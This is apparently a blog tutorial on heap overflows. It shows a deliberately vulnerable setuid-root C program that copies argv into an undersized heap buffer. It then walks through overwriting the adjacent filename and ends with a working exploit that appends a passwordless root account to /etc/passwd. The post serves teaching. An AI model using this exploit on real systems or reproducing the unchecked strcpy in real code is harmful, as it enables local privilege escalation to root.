#include<stdio.h>
#include<strings.h>
int main(int argc, char *argv[])
{
FILE *filed;
char *userinput = malloc(20);
char *outputfile = malloc(20);
if (argc != 2)
{
printf("Usage: %s \n", argv[0]);
exit(0);
}
strcpy(outputfile, "/tmp/notes");
strcpy(userinput, argv[1]);
printf("userinput @ %p: %s\n", userinput, userinput);
printf("outputfile @ %p: %s\n",outputfile, outputfile);
filed = fopen(outputfile, "a");
if(filed == NULL)
{
fprintf(stderr, "error opening file %s\n", outputfile);
exit(1);
}
fprintf(filed, "%s\n", userinput);
fclose(filed);
return 0;
}
Building the code
# gcc -o heap-overflow heap-overflow.c
# chown root.root heap-overflow
# chmod u+s heap-overflow
# ./heap-overflow InformationSecurity
userinput @ 0x80498d0: InformationSecurity
outputfile @ 0x80498e8: /tmp/notes
#cat /tmp/notes
InformationSecurity
# ./heap-overflow Hacker
userinput @ 0x80498d0: Hacker
outputfile @ 0x80498e8: /tmp/notes
#cat /tmp/notes
InformationSecurity
Hacker
KeyPoints:
the distance between userinput and outputfile on the heap is 24 bytes!!
And We have Allocated userinput first but copied over outputfile first.
Input of 24 byte.(exactly 25 byte as string terminator will be added)
# ./heap-overflow123456789012345678901234
userinput @ 0x80498d0: 123456789012345678901234
outputfile @ 0x80498e8: /tmp/notes error opening
[ 0 ] <----- userinput
[ 1 ]
[ 2 ]
[ 3 ]
.
.
.
[ 4 ]
[ /0] <------ outputfile(/ is overwritten with '/0')
[ t ]
[ m ]
[ p ]
[ / ]
[ n ]
[ o ]
[ t ]
[ e ]
[ s ]
[ /0 ]
Question:How to exploit this ??
Ans:
# mkdir /tmp/etc
# ln -s /bin/bash /tmp/etc/passwd
# ./heap-overflow rooted::0:0:m:/root:/tmp/etc/passwd
Now this Will create a rooted name user with root power and /bin/bash shell but without any password.
Comments
Post a Comment